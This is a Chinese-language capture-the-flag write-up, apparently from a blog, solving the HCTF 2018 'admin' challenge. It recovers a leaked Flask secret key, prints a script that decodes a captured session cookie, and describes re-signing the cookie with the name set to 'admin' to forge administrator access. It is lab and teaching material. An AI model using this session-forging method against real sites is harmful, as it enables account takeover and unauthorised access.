[HCTF 2018]admin 1
[HCTF 2018]admin 1
< 文章中有有关flask session 文章 需要认真读一下>
1.信息搜集
由题意,注册admin 用户,回显
The username has been registered
猜测需要去伪造admin身份 ,但是这里并没有获取到实质性的信息,所以查看源码(这里自己还考虑的源码泄露,,,但是并没效果)
非admin 用户登录源码内容(这证明猜想没有问题)
然后在更改密码< change password >处发现提示,,,访问网址(flask session 伪造)
https://github.com/woadsl1234/hctf_flask/ //这里刚开始并没有发现一些信息
网上搜了一篇flask 框架 身份认证的文章
然后了解到flask 框架是通过sessio n 进行认证的, Flask的session使用
这里在github 上找到了config.py ,里面存在我们想要的 密钥 ckj123
2.伪造flask session
这里其实在user.sql 文件中也发现了admin 和 “ ckj123 ” 的身影,不过当时并不知道这是密钥,唉
但是有了密钥之后我们并不知道如何去进行伪造,,,emmm
好吧肯定是要搜一下如何进行flask session 伪造的(但这个就是 wp ,只能说极限了)
大神里面也是用了一个解密脚本的(对session 进行解密)
唉,怎末脚本都是python ,要去学python了 !!!
加密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
还有一种就是 (没用出来)
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
然后就是抓包获取session (change password 的包 ,用于伪造admin)
Cookie: session=.eJxNkE1rwkAQhv9KmbOHRPQieCisBoWZkHRj2L1IamP2I2shKuqI_72rhdLz-8wz78wdtvuhPRqYnYZzO4Kt_YLZHd4-YQZalL3iRUquS0hqp6VnErsxZSrBsTaKdxMU1KMwXkUGa_J5hqzF0qpapXm2uNK4SNFVU5SRldUE3SpBXlqSmz6XmGhnegrFhbhiFB0T9yGXS6PF6krSWJ3FmVB6xT728BcKZR-dT9ezR9y_YuX8HB4j2B2H_fb07dvDvxM8q3ptI5rm4v2mwtpiVty03DgSpdc1GayRKaumUXtDVxoq5i-dDU3X_pnIrdVH95scmhADaJoGRnA-tsPra5Am8PgBTxZsRQ.Y1lA2Q.CIgpWeki-z_V1Inj2M4KE-gD70A
使用脚本解密
{'_fresh': True, '_id': b'd4ec1568456ce934764f43fac7803e08db841cd8c3d1baf58a17d525917815822431b55e934f8e6d075308379f91ad2158bde82ddc956906de7d81564f8023b9', 'csrf_token': b'd93abb4f5802bbb0d2e5c44deca1c34e97d224a5', 'image': b'62XJ', 'name': 'aaa', 'user_id': '10'}
把name 改成admin
加密脚本
https://github.com/noraj/flask-session-cookie-manager
//flask_session_cookie_manager3.py
完成伪造admin ,发包,拿下,
本文来自博客园,作者:柳~,转载请注明原文链接:https://www.cnblogs.com/zhiliu/p/16830463.html